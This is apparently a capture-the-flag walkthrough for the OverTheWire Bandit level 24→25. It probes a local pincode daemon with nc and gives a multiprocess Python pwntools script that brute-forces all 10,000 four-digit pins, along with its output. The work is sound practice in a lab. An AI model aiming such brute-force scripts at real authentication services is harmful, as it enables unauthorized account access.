Warning: This post contains a solution!
Continue only if:
1.) you want to see a possible alternative solution or
2.) you are stuck and need a hint!
Connect to the server using the following credentials:
Level Goal is:
A daemon is listening on port 30002 and will give you the password for bandit25 if given the password for bandit24 and a secret numeric 4-digit pincode. There is no way to retrieve the pincode except by going through all of the 10000 combinations, called brute-forcing.
First of all create a temporary folder to work in.
bandit24@bandit:~$ mkdir /tmp/lvl2425
Next, check manually how the daemon is working. To do so, connect to port
telnet or in my case
bandit24@bandit:~$ nc localhost 30002 I am the pincode checker for user bandit25. Please enter the password for user bandit24 and the secret pincode on a single line, separated by a space.
From the description we know, that we have to send the password from the current level and a 4-digit pincode separated by a space. To brute-force the pincode, we need to know, what the error message looks like. Just enter the password from the current level and a dummy 4-digit pincode and see what happens.
bandit24@bandit:~$ nc localhost 30002 I am the pincode checker for user bandit25. Please enter the password for user bandit24 and the secret pincode on a single line, separated by a space. UoMYxxxxxxxxxxxxxxxxxxxxxxxxxxxx 4242 Wrong! Please enter the correct pincode. Try again.
Now we know the error message and can react to it in our brute-force script.
I've written the script in python and used the pwntools CTF toolkit for the first time here, but there are tons of other possible solutions.
#!/usr/bin/python from pwn import * from multiprocessing import Process def brute(nrOne,nrTwo): for pin in range(nrOne,nrTwo): pin = str(pin).zfill(4) r = remote('127.0.0.1', 30002) r.recv() r.send('UoMYxxxxxxxxxxxxxxxxxxxxxxxxxxxx ' + pin + '\n') if 'Wrong' not in r.recvline(): print '[+] Successful -> ' + pin print r.recvline() r.close() else: if int(pin) % 100 == 0: print '[!] Failed -> ' + pin r.close() if __name__=='__main__': p1 = Process(target = brute, args = (0,2500,)) p2 = Process(target = brute, args = (2500,5000,)) p3 = Process(target = brute, args = (5000,7500,)) p4 = Process(target = brute, args = (7500,10000,)) p1.start() p2.start() p3.start() p4.start()
The script is overengineered for this task, but I wanted to play around with pwntools and Process, after a long long time not using python. I've started the
brute function four times and assigned a pincode range to each process to speed up the task. After a short time the password for the next level appears.
SILENT=1 disables the pwntools output that appears every time a connection is established or closed.
bandit24@bandit:/tmp/lvl2425$ python brute.py SILENT=1 ... [!] Failed -> 5000 [!] Failed -> 5100 [!] Failed -> 5200 [!] Failed -> 5300 [!] Failed -> 5400 [!] Failed -> 8000 [!] Failed -> 3000 [!] Failed -> 0500 [!] Failed -> 5500 [!] Failed -> 8100 [!] Failed -> 3100 [!] Failed -> 5600 [!] Failed -> 0600 [+] Successful -> 8106 The password of user bandit25 is uNG9xxxxxxxxxxxxxxxxxxxxxxxxxxxx
Don't forget to delete the temporary folder:
bandit24@bandit:~$ rm -rf /tmp/lvl2425